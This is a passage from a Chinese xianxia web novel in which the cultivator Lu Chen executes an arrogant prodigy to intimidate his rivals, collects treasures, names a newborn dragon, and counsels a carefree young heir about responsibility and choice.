再䭾百朝战场所能承载的气息有限,若是至尊下场,此间秘境便会顷刻崩碎,非有什麽异变,他们也不会真的出手。
“秘境争宝一事本就无常,真龙术既已落在前辈手中,我等自然再无意争抢,我等可立天道誓言,绝不泄露此事,还请前辈放我等离去。”
相较於那昆仑神子的以势压人,昆仑圣女所言,倒是姿态低的多。
越是这般天骄人物,越是能知晓所谓真君,与他们之间的境界差距到底有多大。
昆仑圣女知道陆尘所说并不假,若是他想,在场中人的的确确已成尸体。
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“我说了,你们无一人可离去,时间到了我自然会放你等离开。”
陆尘又道。
天道誓言确实可以束缚立誓者不假,但至尊之手段何几,陆尘自然不打算将自己的身家性命寄托於这虚无缥缈的誓言之上。
“小小真君,至尊一念便死无葬身之地,安敢如此欺辱我等!”
先前那昆仑神子眸中闪着怒火,自修行至今,还从未有人敢这般对他。
当着同辈天骄的面被逼的下跪,於其而言,这已然是奇耻大辱。
他死死的盯着陆尘,身後的那羽翼扇动,带起一股滔天气息。
陆尘一挥袖,
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那气息便是荡然无存
“你想死吗?”
他嘴角勾起问道。
昆仑神子大笑出声,脸上没有丝毫惧意。
“昆仑圣地,万古长存,莫说你一个真君,哪怕是至尊也不敢如此折辱。”
他眸子里闪烁着极为纯净的湛蓝颜色,好似是蓝天之下的茫茫大海一般。
蓝瞳双翼,此为羽族之血脉,亦是荒古之际流传下来极为尊贵的一种血脉。
“不用那麽多废话,我就问你一句,想死吗?”
陆尘又问。
“有
种你便杀我。”
昆仑神子话音刚落,便有一道剑气斩来,气势之盛,好似要万古凋零。
一尊小塔自昆仑神子心海之中飞出,与那剑气相撞,发出极为震耳的嗡鸣之声,掀起晃荡尘烟。
尘烟之中,如龙蛇般粗壮的锁链不知从何处出现,猛的将那尊带着大道气息的小塔捆缚,使之失去光泽。
昆仑神子瞳孔睁大,刚想要说些什麽,便又有一道剑气斩落。
一剑而过,人头落地。
神魂亦是荡然无存。
昆仑神子,身死道消。
在场天骄面面相觑,看着陆尘的目光,皆是有着极深的忌惮。
真君确实很可怕,但在场之人毕竟是圣地的天之骄子,莫说是真君了,哪怕是至尊也是常常相见,故而先前虽知晓陆尘有真君实力,但众人也并未有什麽恐惧之意,认定陆尘不敢真正的下死手。
可当昆仑神子死在眼前,一切的一切便都变了。
眼前这位真君,他是真杀人啊!
别说什麽自己死後至尊动怒,血洗东域这种话,若自己当真死了,哪怕是至尊拉着整个东域人给自己陪葬也没有半分意义了。
“前辈恕罪,先前不自量力,多有得罪,小女子自愿留下,并愿以珍宝相赠。”
昆仑圣女瞥了眼那身首分离的昆仑神子,眼中虽有兔死狐悲之色,但亦是很快便转变心态,再度放低姿态对陆尘而语。
对此行径,陆尘也是不免感慨,同是圣地的天骄人物,心性却是相差如此之多。
“我等亦愿留下,并赔偿前辈珍宝。”
其馀八人皆是恭敬而语,再无先前那般桀骜之色。
第一百二十六章 叙旧
“自己拿出来吧。”
陆尘笑着说道。
对这些人,好好说话显然是没用的,杀鸡儆猴,要好用的多。
他的眸子里水雾浮现,扫过在场之人。
一十三人之中,除一位真天神子以无相命格的黄亦瑶外,尽皆是金色气运。
而那位真天神子,则是因为不久后剑心破碎,泯然众人。
此间金色气运之重,陆尘倒是并不意外,毕竟眼前的这一十三人,也即代表着整个东域最为顶尖的少年天骄,若没有这番金色气运,反倒是显得奇怪。
除黄亦瑶等四人外的九人,很快的便各自交出一件天阶灵宝,十分恭敬的摆在陆尘面前。
天骄灵宝虽是珍贵,可与自己的性命相较,那就显得无足轻重了。
“你们几人挑一挑吧。”
陆尘转头望向赵栀韵等人,轻笑说道。
其实赵栀韵等人不拦,这些人也伤不到陆尘分毫,只是有这份以死相护的心意,陆尘总归是心领了。
“我出力最少,拿这一件便好了。”
黄亦瑶取走一把骨伞,对陆尘微微点头。
那眯眼浅笑的白衣青年倒也是不客气,手一挥,便取走三件天阶灵宝。
“多谢前辈了。”
他拱手谢道。
陆尘点了点头,将目光转向赵栀韵二人。
赵栀韵随意取了一件天阶灵宝,似乎对此般本该由万人争抢的奇物并不上心。
“夫子破境之神速,世所罕见,恐怕古之未有。”
赵栀韵那双水润的眸子注视着陆尘说道。
“侥幸而已,先前有劳为我护法了。”
陆尘轻笑说道。
赵栀韵的目光在陆尘脸上驻足,她嘴唇微动,似乎想说些什麽,但最终还是没有说出口。
眸子里闪过一丝异色。
那一夜,二人生死相伴,夜闯皇宫一事,在自己看来可能深刻无比,可在夫子眼中,也许只是寻常罢了。
对眼前男子是何心意,赵栀韵自己也说不太清。
心悦或是钦慕?
可不管是何,赵栀韵清楚的知晓,他对自己并没有那种男女之情的喜欢。
言行难测,但眼睛不会骗人。
当赵栀韵看向陆尘时,能从其眸子里看到的只有一汪清水,好似是山间小溪一般。
“啧,长进不少呢。”
陆尘又将眸子转向长孙漠遥说道。
还记得在白鹿书院後山山峰之处时,少女还叫唤着说要追上那天渊之人,为陆尘报仇。
如今近一年未见,少女已然是踏足神游之境,此番破境速度,亦是堪称世所罕见了。
“人家可比不上夫子呢。”
少女娇媚一笑,眸子里闪着动人的红光。
陆尘拍了拍少女脑袋,又一挥袖,取出四件玉瓶,各自截取了真凰精血赠予四人。
真凰精血之妙用无穷,哪怕於至尊高位,亦是难得。
“我有话与你说,你且过来。”
待得与故友叙旧一番后,陆尘才再与黄亦瑶言语。
黄亦瑶走到陆尘身前,陆尘一挥袖,便有一层水雾笼罩二人,使得外界不可听,不可视。
长孙漠遥小脸上显露出看戏神色,樱桃小嘴亦是不断发出啧啧声。
赵栀韵则是眸子黯淡,心中黯然神伤。
也是,诸位圣女皆如此对他,我於之而言,想必也确实特殊不到哪去吧。
这般想着,女子的眸子便是低垂下来,眉宇间挂着一抹挥不去的哀愁,像是丁香一般幽远。
水雾之中,陆尘稍一拂袖,便有诸般仙草兽丹浮於半空。
“这是我这些日子搜寻到的药材,你那边如何。”
陆尘问道。
他曾与黄亦瑶有约,以太上开天经作为交换,令其为自己搜寻九转还魂丹的药材。
黄亦瑶长袖一舞,亦是有诸味药材浮在半空之中。
“玄阴九尾草,寒霜仙莲……”
“还差一味……”
陆尘目光扫过,自顾自的呢喃道。
“这些药材并不好找,这麽短的时间能搜齐到九成九,已然是不易了。”
黄亦瑶说道。<
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p> “无妨,你去东域西南之地的琼玉涯寻一位老前辈,一味药材的话,他自行会补齐。”
陆尘将一块玉牌交於黄亦瑶,又附赠了一张灵图。
“琼玉涯的人见此令牌,自然会带你去见那老前辈,你请他炼制此丹便可,此件大道真器,你交之於他,当做请其出手的酬劳。”
陆尘又一挥手,将一件大道真器交於黄亦瑶。
黄亦瑶眸子微怔,有些疑惑的看向陆尘:“大道真器何其可贵,莫说是请人炼制九品丹药了,哪怕是令其自寻搜寻药材,再炼制个两三枚,也全然足够了。”
大道真器在圣地之外的势力,已然是堪称镇宗之宝,镇国之器,绝非用灵石或是寻常丹药珍宝所能比拟之物。
“事出紧急,我需要你以最快的速度拿到这枚九转还魂丹,而後送往大离王朝白鹿书院的井中世界。”
陆尘一指轻点黄亦瑶额头,井中世界的位置便印刻在其脑海之中。
“㣉井中世界后,一路向前,将此丹药交给所见之人便可。”
他接着这般说道,手一拂袖,又将一金色书页取出。
“此篇先交於你,事成之後,我可传你完本。”
陆尘又道。
“完本?”
黄亦瑶愕然失神。
“没错。”
陆尘点了点头。
自其得混沌真气后,冥冥之中,便已然能自行推写太上开天经之内容。
虽说如今只能写到真一篇,但比之黄亦瑶修行进度,已然是完全够用了。
“好。”
黄亦瑶点头,将陆尘所赠之物尽数收㣉囊中。
“还有,我要传你一门秘术,行走在外时,便以此秘术。”
陆尘喋喋不休,真像是个十分唠叨的夫子一般。
“大象无形,此般秘术,可遮掩人之行踪,於你而言,万分重要。”
他一指点出,便有金光涌现,灌㣉黄亦瑶脑海之中。
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第一百二十七章 大千世界
陆尘眸子之中浮着一层水雾,水雾之下,则是看到了黄亦瑶那无相之色。
哪怕陆尘上一次特意嘱咐了黄亦瑶隐去行踪,但如今所见,那生平之处的小字,却依旧是显示其宗门被灭,流亡海外。
如此看来,那所谓的冥府圣物,牵扯极大,哪怕是圣地也难以承受。
“那方势力竟然敢打地府的主意,并且连圣地也能覆灭,这般相较下来,哪怕比之天渊,也毫不逊色吧。”
陆尘不免叹道。
大千世界,果真是广袤无垠,哪怕以如今陆尘所见,也不过是冰山一角而已。
“多谢。”
黄亦瑶点头,倒并未向其他神子圣女那般称陆尘为什麽前辈。
毕竟二人初次相见之时,陆尘之境界反倒是相差黄亦瑶不小,如今再称呼前辈,属实是有些奇怪了。
再者黄亦瑶性子本就极为飒爽,一身黄衣轻装,眉眼如刀,如同世俗江湖的女侠一般,自然没有那麽多的礼节计较。
陆尘不再多言,一挥手将那笼罩二人的水雾散去。
“你们几人且先离开吧,你留下便是。”
陆尘看向那白衣青年说道。
一袭白衣的摇光神子倒也没有提出什麽异议,径直点了点头。
长孙漠遥踮起脚尖拍了拍摇光神子的肩膀,声音清脆好似银铃一般的说道:“跟着夫子准没错的。”
她竖起大拇指,笑容令人有些捉摸不透。
摇光神子微笑点头,黄亦瑶等人便是这般离去,唯有赵栀韵临行前又与陆尘相视良久,却是相顾而言。
同上次在桥边一别一般,陆尘其实能看出那双水润的眸子里想说些什麽。
但他并不能给一个回答。
待得三人的身影都消失在陆尘眼前时,系统的机械声音便紧接着在其脑海之中响起。
【无相之人,吉之方位,近一步】
【吉四祸六】
【夫子之责行使完毕】
【宿主将获得大量回馈奖励】
【一:真一修为五百年】
【二:天阶法宝:冥府魂水】
【三:小神通——冥照千夜】
与先前一次一般,黄亦瑶身负的无相命格极为特殊,陆尘每一推动其命气运转变,便可得到一次反馈奖励。
而从另一方面看,黄亦瑶身负的灾劫亦是极重,哪怕陆尘两次指点,依旧是吉四祸六,祸相仍大于吉相。
可想而知,黄亦瑶当年从地府得到的那件至宝,其间牵扯到底有多麽的深。
陆尘虽说对此也是十分好奇,当自己仍受困於天渊一事,自然再无力多去探查些什麽,做些引火烧身之举。
而其交於黄亦瑶之事,倒也并不是什麽难办的大事。
毕竟药材已经齐了九成九,仅需请一位炼药大师出手炼制即可。
照理来说,炼药师性子都极为古怪,尤其是这些身居高位的炼药师,哪怕你拿着大道真器去求他,恐怕也得等他挑个心情好一点的日子。
陆尘交於黄亦瑶的那块令牌,则是得自其於百朝战场指点过的一位少年天骄,那位少年之祖辈,乃是琼玉涯上的一位炼药大师,有这层关系再加上大道真器,陆尘方才有把握确信九转还魂丹能尽快炼制完成。
至尊压境,天渊将至。
陆尘的时间已然是万分紧迫,容不得些许空耗。
…………
真龙巢穴之外,黄亦瑶率先踏出。
她的面色并不好看,小脸显得有些苍白。
“唉呀,没想到是你太玄圣地最先有人落败啊。”
昆仑圣地的那位老至尊故作惊讶的叹道。
太玄至尊冷哼一声,不置可否。
“尊上。”
黄亦瑶身形一动,便出现在云端众位至尊跟前。
“里间发生了何事,怎麽是你第一个出来?”
太玄至尊脸色有些不悦问道。
太玄与昆仑素来有争执,如今被贴脸这般讥讽,属实是令其心情不悦。
再者黄亦瑶之根底实力,他自然极为清楚,若是连她都能第一个出局,那麽这一届的神子圣女们,恐怕真的恐怖到了一个令人难以想象的地步了。
“一片混战,有人已经死了。”
黄亦瑶面色平静而语,好似有天骄陨落,并非是什麽大事一般。
听闻此语,太玄至尊脸色一沉,心中顿时有些不好的预感。
昆仑至尊则是哈哈大笑起来,主动的拍起太玄至尊肩膀。
“唉呀,生死一事,世之常见嘛,别看得太重了,毕竟还是些小孩,下手没轻没重的,也怨不得别人。”
“死的是昆仑神子。”
黄亦瑶看向昆仑至尊,依旧十分平静而语。
昆仑至尊一怔,而後像是没听清的反问一句:“谁?”
“昆仑神子。”
黄亦瑶再度十分认真的答道。
昆仑至尊脸色阴沉,掐指一算,竟是踉跄後退一步,一脸不可置信的看着黄亦瑶。
“好好好,好一个天骄辈出,好一个黄金大世。”
滔天气息宣泄而出,一瞬间竟是使得天地变色。
太玄至尊信手
一挥,这股浩然之气便是荡然无存。
他嘴角勾起笑意,看着那原本笑哈哈如今却是半点笑不出来的昆仑至尊。
“唉呀,刚才是谁说来着,生死一事嘛,世之常见啊。”
太玄至尊哈哈大笑起来,笑声畅快至极。
昆仑至尊冷哼一声,不再言语。
其他几位至尊亦是掐指测算,推演到自家传人生机还在後,这才放下心来。
并不多时,长孙漠遥以及赵栀韵二人亦是从真龙巢穴出来。
摇光与瑶池至尊对二人落败倒是并不吃惊,毕竟二人年岁尚浅,立为宗门之传人也并不久。
“果真是黄金大世,天骄辈出啊。”
瑶池那位一身羽衣,飘然若仙的女子至尊叹道。
她对七大圣地的传人都曾有过较为细致的情报查阅,知晓黄亦瑶以及那昆仑神子底蕴如何。
二人一死一退场,可想而知里间那些妖怪,到底是如何妖孽。
如女子至尊这般所想的人物并不少,都是纷纷感慨起来,江山果真是代代皆有才人出。
只是众人不知晓得的是,真龙巢穴之内,天骄们并非在做什麽生死争夺,而是乖乖的坐在原地,看着陆尘逗弄一条赤金色的小龙。
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血潭之中,只见得有条金色的小龙在陆尘眼前旋绕着,眸子里流露出好似世俗常人那般的欣喜之色。
那小龙体型虽是极为细小,犹如一条小蛇一般,但身上的气息却丝毫不低,大抵可以比拟神游境修士。
“这便是真龙幼崽嘛……”
陆尘不免赞叹道,一出生就在诸多修士可望而不可即的第七境,不愧是最为顶尖的大妖血脉。
要知道在场的这些天之骄子们苦修二十馀年,也不过是神游之境。
两相比较之下,可想而知这血脉之力是有多麽的恐怖。
陆尘伸出手,目光和煦的看着那赤金色小龙。
赤金色小龙极通人性的旋绕成手环,挂在陆尘手腕之处。
“给你取个什麽名字好呢……”
陆尘自顾自的嘀咕着。
“如今正值九月,就叫你小九吧。”
略微思索了片刻后,陆尘说道。
赤金色的小龙从陆尘手腕处脱离,而後疯狂甩头,看来并不喜欢这个名字。
“小八?小七?小六?你挑一个吧。”
陆尘极为草率的这般说道。
赤色金龙嘴角一抽,对陆尘的取名十分不感冒。
“我有名字的。”
它忽地这般开口道。
陆尘倒是稍稍有些吃惊,没想到眼前的小家伙一破壳就能口吐人言。
“咳咳,怎麽称呼。”
陆尘尴尬的咳嗽两声问道。
“七七,七七。”
赤金色的小龙很是认真的说道。
陆尘听到这名字后,亦是嘴角一抽,心想着我取名就够随便了,给你取名字的人也是丝毫不逊色啊。
“行吧,七七就七七。”
商定小金龙的名字后,陆尘便以七七唤之,小金龙的性情并不桀骜,相反十分乖巧,大部分的时间都是缠绕成环,挂在陆尘的手腕之处,好似金镯一般。
似乎是因为新生的缘故,小金龙很快就陷入了沉睡之中,并未和陆尘多说些什麽。
不知是否是因为一同传承真龙术的缘故,陆尘竟是能感受到赤金色小龙那看似欣喜的神色之下,竟是莫名泛着哀愁之意。
陆尘环顾四周,真龙巢穴内,已然再无那庞大的真龙身影。
他叹了口气,不免又有些感慨。
以往总说至尊之下皆是蝼蚁,可如今看来,哪怕是真龙这般几近帝位的生灵,不还是烟消云散了吗?
哪怕是那些帝䭾,如今又有哪一位存在呢?
天地之间,光阴方才是最利的那把飞剑。
斩尽天骄无数。
陆尘摇了摇头,眉头有些舒展不开。
境界越高,他思虑的反而是越多,若单以心境豁达相比较,道台境时,反倒是要比现在强的多。
长生,长生。世间人修道,说到头也不过长生二字。
可天地间,又岂能真有长生不灭之人。
至少陆尘并未见过,也并未听过。
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第一百二十八章 永夜长城
北域,天渊。
一道极长极长,几乎蔓延至整个海岸的城墙上,有位女子坐在墙头,向下而望。
城墙外,是连片连片的妖兽以及修士死尸,北海的浪潮席卷而来,却依旧难以将这些死尸尽数掩埋。
女子就这般看着浪潮席卷,好似赏花一般。
但实则她的眼神十分空灵,虽是在看着某一处,目光却并不聚焦,如同神游万里,身在而魂不在。
此处倒并未有什麽特殊的名字,天渊中人都随意的唤之为墙。
反倒是外界听说了些许传言之人,给其取了个响当当的名字。
永夜长城。
长城天边,明月高悬,万年如此。
天渊之人,若未外出,则一生不见天日,犹如身处永夜之中。
“当真想出去了?”
一位老者悄然出现在女子身後,声音沙哑的问道。
女子坐在墙头,双手托腮,轻轻点头,并未回头。
她腰间悬挂着一枚玉佩,是麒麟形状,风一吹过,便是轻轻晃动,散发着微弱的洁白的光。
“也好,长这麽大,除了小时候出去过一趟,还真没好好在外面待过。”
老者看向女子,眼神满是慈爱。
妖兽的血腥味仍在天地之间弥漫,但二人似乎都早已熟悉这股血腥味道,并未觉得有什麽难以忍受。
“齐家那小子死在了东域,他们家主都在推演是何人所为。”
老者又忽地这般说道。
听到这话时,少女那空洞的眸子才稍微有了些神色。
腰间那麒麟玉无风自动,像是夏蝉在嗡鸣一般。
“若我猜的没错的话,想来是那孩子所为。”
老者又道。
女子又点了点头,目光投向极远的地方。
其目光所及之处,皆是那茫茫无尽的海域,好似没有尽头一般。
在近海岸之处,黑压压密密麻麻的妖兽身影悄然浮现,宛若大军压境一般,一瞬间使得天日遮蔽。
女子一步跃下墙头,随手拔了城墙上的一柄断剑,冲㣉那妖兽潮中。
其所过之处,妖兽皆是若草芥而倒。
其腰间的麒麟玉散发着微弱白光,却令群妖难以直视。
好似见之神明。
一人一剑,女子就这般在兽潮之中穿行不断。
良久后,女子才满身是
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血的重回墙头,将那把断剑又重新插回城墙之上。
“那部分麒麟玉本源,我要提前收回了。”
女子开口说道,声音清冷的好似寒月。
老者点头。
“世事难料,当年怕将那孩子带回天渊之中,遭其他三家所害,以至你亦受反噬,如今宋齐梁陈四家之中,我宋家独大,倒也不在乎这点细枝末节了。”
老者缓缓而语。
天渊大抵由四大世家所共掌,分别为宋,齐,梁,陈。
早年前四大世家各相牵制,倒是达成了一股微妙的平衡。
而近些年却因为种种缘由,宋家已然居於高位,并非其馀三家所能制衡。
听到老者的话,女子点了点头,不再说话。
她拿起腰间那枚麒麟玉,恍惚间,脑海中忽地想起很多年前的一问。
“你到底把人命当成什麽了啊。”
在山庄之中的尸山上,那人撕心裂肺的痛苦问道。
“无足轻重之物而已。”
女子喃喃自语。
其目光下望之处,尸山血海,连绵不绝。
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第一百二十九章 光阴易逝
外界风云变动,拖陆尘是福,这真龙巢穴之内,反倒是极为安详,并无半分争斗气息。
诸位天骄似乎也都已认命,知晓自己一时半会脱不了身,再加之那昆仑神子的前车之鉴,当下也未再有什麽妄动。
众人有的闭目冥想,并不为外界纷扰,有的则是心思不定,东张西望着,难以真正的遁入玄修之中。
唯有一人与众不同,即未心思安定,冥想修行,也不像旁人一般左顾㱏盼,忧心难消。
那人一袭白衣,有两缕龙须在额前垂落,悠然自得在巢穴之中走动,时不时的抬头看着崖壁之上那细致纹路。
白衣青年正是摇光神子,在场众人之中,只有他是先前护陆尘之人,故而并没有什麽忧虑。
真龙神通虽已落入陆尘之手,但摇光神子先前一举拿下三件天阶灵宝,再加之陆尘所赠予的真凰血,怎麽看,他此行也是收获极为丰厚。
当然这也基於其先前为陆尘护法的缘故。
至於为何其虽与陆尘无缘无故,却仍愿舍身相护,倒大多是因由长孙漠遥的缘故。
“小师妹说跟着前辈准有好事,不知道这好事何时将至?”
似乎是转悠的有些乏了,摇光神子走到陆尘身前,眯眼笑问道。
他的眸子极为狭长,好似一叶桃花一般,若是女子见之,想来是目光难以偏离。
“不急。”
陆尘摇了摇头,闭目冥想。
听闻陆尘此话,摇光神子也未再多问,又跑到瑶池神子跟前。
他取出那三件天阶灵宝,在瑶池神子面前晃悠着。
“神子,这三件哪件是你的啊?”
摇光神子一边晃悠一边问道。
瑶池神子冷哼一声,并不理会他。
他的目光看向陆尘,眼中有着深深的忌惮。
直到如今,瑶池神子方才知晓赵栀韵为何会对陆尘念念不忘。
如此年轻的真君,与之相比,他们这些傲世东域的天骄,也显得有些庸才了。
“这天下英雄,果真如过江之鲫。”
瑶池神子感叹一声,目光幽幽。
他倒还有些庆幸,虽然自己的性子亦是狂悖散漫,但还好没想昆仑神子那般出言挑衅,当真寻了身死道消的结局。
见瑶池神子并不理会自己,那摇光神子自觉无趣,又晃悠着到荒古神女跟前。
那是位堪称健硕的女子,只不过那令人感觉到压迫的肉身却并不难看,反而是有股异样的飒爽之感,好似自茫茫无际的荒古之中跋涉而来。
荒古圣地最重炼体,其间弟子肉身之强横,冠绝七大圣地。
“圣女,这三件哪件是你的?”
摇光神子又问。
三件天阶灵宝在其手中犹如是玩具一般的晃动着,显得有些滑稽。
荒古圣女瞥了他一眼,眼神如刀。
摇光圣子一瞬间噤若寒蝉,屁颠屁颠的跑到另一位圣女跟前。
圣女一袭道袍,头戴莲花冠,脸上神情淡然,却又带着丝丝许许的哀愁之色,有种悲悯众生之感。
女子乃为太虚圣女,其道心之通透,被师门誉为万年之未有。
“那柄龙纹剑,是我之灵器。”
太虚圣女坦然说道。
“嗷嗷,不过不好意思,它现在是我的了。”
摇光神子似乎是终於听到个满意答案,当下笑嘻嘻的着重晃了晃那龙纹剑,而後又将之收入心海之中。
太虚圣女紧盯着那张笑脸片刻,嘴唇微动,最後还是没有说出想说的话。
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其他诸位天骄则是白眼看着摇光神子,嘴角抽搐。
“好了,你过来吧。”
真龙巢穴寂静良久后,陆尘才再度出声,向摇光神子招了招手。
此去已然过去七日,七日间,那赤金色的小龙都未醒来,想来是传承斑驳,一时间难以尽数吸收。
而对於陆尘而言,同样不可能一蹴而就。
哪怕是闭目冥想多日,也尚未将那真龙之术消化殆尽。
摇光神子走到陆尘跟前,盘腿坐下,与陆尘相对而视。
陆尘眸子之中水雾浮现,透过那层水雾,只见得摇光神子头顶之上金色气运盘踞,好似金龙。
金色——帝路争锋。
此间之人,除却那位真天神子外,尽皆金色气运。
於陆尘而言,自然是送上门的肥羊。
原先那昆仑神子亦是金色气运,陆尘之所以杀他,也是因为知晓,对於眼前这些位於整个东域尖峰的年轻人而言,哪怕你是真君,也并没有什麽大不了的。
因为在场的所有人,都默认真君只是他们登峰路上的一处山腰而已。
所以小小的真君并不能
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起什麽威慑作用。
但会杀人的真君,敢杀人的真君。
那便是截然不同了。
昆仑神子一死,在场的天骄立即安静
下来,哪怕心中依旧有那份桀骜之色,至少也会乖乖的藏在心底,并不往外搬出。
杀鸡儆猴,自古以来有之。
虽说老套,却也属实好用。
而陆尘之所以令摇光神子也留下来,自然是为了指点其一番。
【性命:淮左】
【年龄:二十六】
【境界:身影二重】
【命格:金色——帝路争锋】
【生平:出身仙门世家,身份尊贵,生而有白鹤自北海而来相贺,又有金鲤自东海而来欢跃,天生便有大气运聚身,自幼入修行路以来,修行破境之速皆是极快,为常人所难企及。
摇光神子之一生顺遂,世间无几人可即。
故其於修行一途并不上心,修行散漫,随心所致,随心所行。
其对於世间万物,亦是持逍遥顺遂一事,并不强求。
或是因其过於顺遂,又过於聪慧,摇光神子年少之时,便已然觉得世间无趣,大有得过且过之意。
后长孙漠遥入摇光圣地,其行事之乖戾无理,令摇光神子觉得万分有趣,故其常跟随长孙漠遥行事,只会求得一丝乐趣。
后百朝战场之中,真龙巢穴出世,其同长孙漠遥入真龙巢穴之中,争夺真龙术。
真空巢穴之中天骄齐聚,其施展仙法救护长孙漠遥,与天渊之人互换伤势,以至真龙术为太玄神子所得。
后其与天渊之人结怨,帝路前夕,天渊率众而来,与昆仑,太玄,真天三家合力,攻灭摇光,瑶池,荒古,太虚四家。
摇光神子与天渊之人交战,虽不分胜负,然宗门遭屠,已然输得一塌糊涂。
摇光神子悔恨不已,自信若是自己年少之时苦修,当日在真龙巢穴之中,定然就能将那天渊之人斩杀,而不是落到今天这般田地。
然光阴易逝,不可流转。
其虽悔恨,亦无可奈何。
后帝路大开,其与天渊之人数次交手,皆是不分胜负,最终於帝路尽头一同而死。】
“好一个光阴易逝……”
陆尘自顾自的呢喃而语,轻叹了口气。
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第一百三十章 问心
光阴最是一去不复返,哪怕是古之帝者,亦是难以逆流而上,更别谈天下修士了。
不过显然,淮左的生平尚未来得及变动,在原本武道天眼所观测的时间线中,理应是那名为齐邪的天渊之人开启真空巢穴,而後引得众天骄来此争抢。
混战之中,淮左与齐邪以伤换伤,最终结下死劫,直至最後二人皆以死来结束这场年少之时结下的恩怨。
淮左哪怕身为圣地之人,亦是有宗门遭屠而奔走他域的那一天,可想而知,这世间之变幻,是如何无常。
纵使你万古横立,又岂止明日不会一朝倾倒呢?
陆尘看向摇光神子,眼前的青年眯着眼,嘴角挂着笑意,显然是不知道他後半生那悲惨命运,悄然间已经被陆尘所改动。
当然这只是标,并非本。
虽说因陆尘早就击杀那天渊之人,以至於摇光神子并未与那天渊之人结仇,然则一个天渊之人死了,世间还有千百个“天渊之人”。
系统也并未给予过陆尘指导奖励,也说明了摇光神子最终还是会走向那悔恨光阴逝去的悲惨结局,只不过结下死仇的,换做了别人而已。
“夫子怎麽皱起眉头来了?”
摇光神子依旧在笑着,饶有兴趣的问道。
世间无趣,若是寻些乐子,那岂不是空度一生。
也是抱着这般念想,摇光神子才会在先前,与长孙漠遥一同拚死护在陆尘身前。
以命为引,就是为了寻一丝乐子。
当陆尘将其单独留下之时,摇光神子之所以丝毫不慌张,反而是泰然处之,亦是因为这乐子。
而显然,本来器宇轩昂,气势汹汹赶往真龙巢穴的天骄们如今好似坐牢一般的无处可去,这无疑是天大的乐子。
“你可能不知道,我极善术算。”
陆尘摇了摇头,这般说道。
照理来说,若是别人望见陆尘这一副眉头紧皱的卜算模样,少不得也得忧心忡忡又或是勃然大怒,只觉得对方是什麽骗子。
但是摇光神子却并不然,他嘴角笑意更甚,眸子里闪着亮光,似乎在期待着什麽一般。
陆尘越是叹气,摇光神子眼中的期待之色便是越甚,嘴角的笑意便也是越浓。
“有听师妹说过,前辈上知天文,下知地理,堪称全知。”
摇光神子笑了笑说道。
陆尘嘴角抽搐,怎麽听着长孙漠遥这吹捧,自己更像是什麽神棍了。
要知晓为了摆脱神棍的名头,陆尘在百朝战场之中讲学,可没少费气力。
“你觉得人之一生,要如何而过。”
陆尘话锋一转,并未在卜算一事上多说些什麽。
摇光神子想了想,很快就给出了自己的答案。
“随心而过。”
摇光神子说道。
“对,很多人回答这个问题时,都会说要随心而过,毕竟这是人之常情,人生在世,又有谁会不想随心而过呢?”
陆尘又道。
摇光神子略微点头,并未说些什麽。
“可世上生灵无数,真正能随心而过之人,又有几人呢?”
陆尘又问。
摇光神子摇了摇头。
“并不多。”
“并不是并不多,而是极少,并且很多所谓随心而过之人,其之本心,当真是他们所认为的那般吗?”
陆尘面色越发正色而问。
摇光神子脸上的笑意亦是逐渐收敛,他是个极为聪明的人,自然知道陆尘所说何意。
“你且说说,你之随心所欲,是随的什麽心,所的什麽欲。”
陆尘凭空取出一盏琉璃茶具,茶盏自行往琉璃杯中倒满茶水,清香茶气一瞬之间,便是弥漫至整个真龙巢穴。
饶是诸位天骄,此时亦是忍不住的侧目望去。
“你且想想,此茶乃为悟道茶叶为底,龙岩真水泡之,你可试试。”
陆尘轻抿了一口茶水又道。
一听陆尘此话,周遭的那些天骄顿时
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万分眼红,瞪大眼睛瞪着那琉璃盏。
悟道茶叶,那可是传闻取出悟道茶树,千年得一叶的极珍之物。
传言若是每日可饮悟道茶叶虽泡就的茶水,哪怕天赋再差,亦是可饮茶悟得大道真意。
要之大道真意缥缈难寻,绝非外物可得,而这悟道茶叶却是这唯一可接近大道真意的外物,可想而知有多珍贵,哪怕是至尊人物,亦是对此茶叶珍藏不已,只会招待同境好友而用。
哪怕在场的天骄贵为各大圣地的神子圣女,亦是无缘饮得此茶。
此时见摇光神子一口饮尽,更是咬牙切齿,心中暗骂其暴殄天物,不知晓此茶需细品方可得效用最优。
“我之随心,不过是想寻天地之乐趣,不至於虚度此生而已。”
摇光神子一口将茶饮尽后,这般说道。
“当真吗?”
陆尘反问道。
摇光神子愣了一愣,但很快回过神来,郑重点头。
“当真。”
“很好,此即为你之随心,看得出来,你也确实在随此心,行此事。”
陆尘又道。
“这有何问题吗?”
摇光神子问道。
“没问题,当然没问题,但你不妨想想,为何我先前问你时,你亦是知晓,世间绝大多数人,并不能随心而行。”
陆尘又道。
他的眸子里好似有剑芒闪烁,竟是令摇光神子不敢直视。
摇光神子低下头来,陷㣉深思之中。
良久后,他才抬起头。
“人各有异,我无需如普罗大众一般受困於心。”
摇光神子道。
“自然,你是高高在上的圣地神子,自然无需像普罗大众一般。”
“可有没有一种可能,你其实与普罗大众,并没有什麽区别,你们唯一的区别在於,你要懦弱的多。”
陆尘声并不大,却若雷霆,㣉其双耳。
第一百三十一章 终难飞
陆尘语出惊人,令摇光神子一时色变。
摇光神子眉头紧锁,他看着陆尘,一时之间,竟不知道该说些什麽。
“世间可随心所欲之人极少,或受於世俗所累,或困於本心,然若真想去随心所欲行事,并不难,之所以众人愿意作茧自缚,无非在所谓的责任二字而已。”
“因为有此二字,方才不敢随心所欲。”
陆尘将茶饮尽,缓声而语。
“夫子是在讥讽我是个不敢担责之人?”
摇光神子神色认真而问。
“非也,我说此话,并非是在讥讽你,只是单纯的想和你说道说道,为何芸芸众生大多如此忙碌。”
陆尘又道。
“夫子也说了,大多数人都过得这麽累,那我想轻松些,我也有这个底蕴去过得自由轻松些,这难道不行吗?”
摇光神子又问。
他的眉头紧锁,始终未能舒缓。
“可以,你自然可以做这种选择,但你要知道,所有人都需要为自己的选择付出代价,而你,准备好付出代价的决心了吗?”
陆尘盘腿而坐,一手托腮,嘴角似笑非笑。
他看着摇光神子,食指在膝盖上轻敲。
摇光神子心神恍惚,莫名的感觉到一股阴冷之意。
赤红色的光在陆尘的眸子里闪烁,下一刻,摇光神子便觉得眼前的天地变幻,已然不是先前的真龙巢穴之中。
“这是摇光圣地……”
摇光神子愣神良久,一时间有些不敢相信自己的眼睛。
还未待得他回过神来,便有一股浩荡的灵气激荡而来,令其不自觉的以混沌气庇护几身。
“无妨,此间皆是幻象,不会伤到你。”
陆尘忽地出现在摇光神子身旁,身影飘然立於半空之中。
